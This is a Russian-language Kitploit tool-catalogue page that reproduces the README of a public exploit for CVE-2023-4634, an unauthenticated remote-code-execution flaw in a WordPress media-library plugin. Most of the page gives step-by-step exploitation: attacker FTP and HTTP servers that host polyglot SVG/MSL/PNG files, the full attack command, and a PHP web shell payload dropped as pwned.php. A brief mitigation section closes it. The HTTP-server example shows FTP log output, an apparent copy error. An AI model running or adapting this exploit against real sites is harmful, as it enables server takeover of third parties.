Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
Инструменты/GitHubGitHub/patrowl/cve-2023-4634
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

Репозиторий
4795 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-4634

RCE-эксплойт для плагина Wordpress Media-Library Plugin < 3.10 (CVE-2023-4634)

Информация

Patrowl обнаружила неаутентифицированную RCE-уязвимость в плагине Media-Librairy-Assistant для Wordpress версии < 3.10. Эксплойт нетривиален и требует лишь небольшой настройки, описанной ниже.

Общие сведения об обнаружении и эксплуатации уязвимости можно найти в нашем блоге: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

Предварительные требования для эксплуатации

  • Установленный Wordpress (подойдут все версии)
  • Media-Library-Assistant версии < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Библиотеки Imagick, установленные на сервере
  • Конфигурация Imagick по умолчанию
  • Внешнее сетевое подключение

Обнаружение

Обнаружение уязвимости может быть выполнено с помощью базовой DNS-проверки на удалённом FTP-сервере. Шаблон nuclei можно найти в файле: CVE-2023-4634.yaml.

root@kitploit:~
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

Полная эксплуатация и получение RCE могут быть выполнены с помощью скрипта CVE-2023-4634.py.

Примечание: также можно использовать скрипт для более простой эксплуатации, такой как LFI; для этого нужно сформировать специальный SVG и разместить его на вашем FTP-сервере, следуя рекомендациям в нашем блоге.

Использование

Установите зависимости:

root@kitploit:~
python3 -m pip install -r requirements.txt

Затем

root@kitploit:~
python3 CVE-CVE-2023-4634.py -h

Вы увидите:

root@kitploit:~
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            show this help message and exit
  --target [TARGET]     URL of the Target, ex http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Number of concurrent long SVG conversion requests to make ( default 100 )
  --generatesvg, --no-generatesvg
                        Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
  --webserverpath WEBSERVERPATH
                        Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
  --exploitname EXPLOITNAME
                        Dropped exploit name example: pwned.php
  --generatepng, --no-generatepng
                        Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
  --payload PAYLOAD     PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>

Теперь для работы вам необходимо настроить на удалённых хостах:

  • 1 FTP-сервер, размещающий polyglot SVG/MSL и SVG/VID эксплойты
  • 1 HTTP-сервер, размещающий polyglot PNG/MSL

Перед эксплуатацией

Подготовка FTP-сервера

Вы можете запустить простой FTP-сервер с помощью Python:

root@kitploit:~
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

После настройки вам нужно добавить на ваш FTP-сервер polyglot-файлы SVG/MSL и все SVG-эксплойты; их можно легко сгенерировать с помощью скрипта:

root@kitploit:~
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

Скрипт создаст в папке remote_ftp следующие файлы:

  • poly.svg, polyglot SVG/MSL с немаршрутизируемым адресом, обработка которого целью займёт много времени, с MSL, который сохранит png_polyglot_name с remotettp в целевой путь (webserverpath+ exploitname)
  • все 64 SVG/VID эксплойтера, использующие номенклатуру exploiter_FUZZ, где FUZZ будет заменён перебираемым символом

Обратите внимание, что скрипт также скопирует SVG-файл с добавлением [0] в конце (poly.svg и poly.svg[0]). Оба файла необходимы для корректной эксплуатации.

Поместите все сгенерированные файлы (обычные и с [0]) в корневой каталог вашего FTP-сервера. Это должно выглядеть так:

root@kitploit:~
ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

Подготовка HTTP-сервера

Вы можете запустить простой HTTP-сервер с помощью Python:

root@kitploit:~
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Вам просто нужно добавить ваш polyglot PNG/PHP файл. Вы также можете использовать скрипт для генерации файла и включения нужной полезной нагрузки:

root@kitploit:~
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

Эксплуатация

Теперь, когда и удалённый FTP-сервер, и HTTP-сервер готовы, вы можете запустить эксплуатацию уязвимой цели (скрипт проверит, использует ли цель уязвимую версию плагинов). Пример:

root@kitploit:~
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

И если всё в порядке, ваш exploitname должен появиться в webserverpath (зависит от того, как вы настроили эксплойт). Приятного использования!

Видеоклип

Я сделал видеоклип.

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

Меры по защите

  • Обновите плагины до последней версии (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Усилите политику безопасности Imagick, запретив конвертацию опасных форматов, таких как: "MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID" Это можно сделать, добавив
root@kitploit:~
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

В

root@kitploit:~
/etc/ImageMagick-X/policy.xml
Скачать инструмент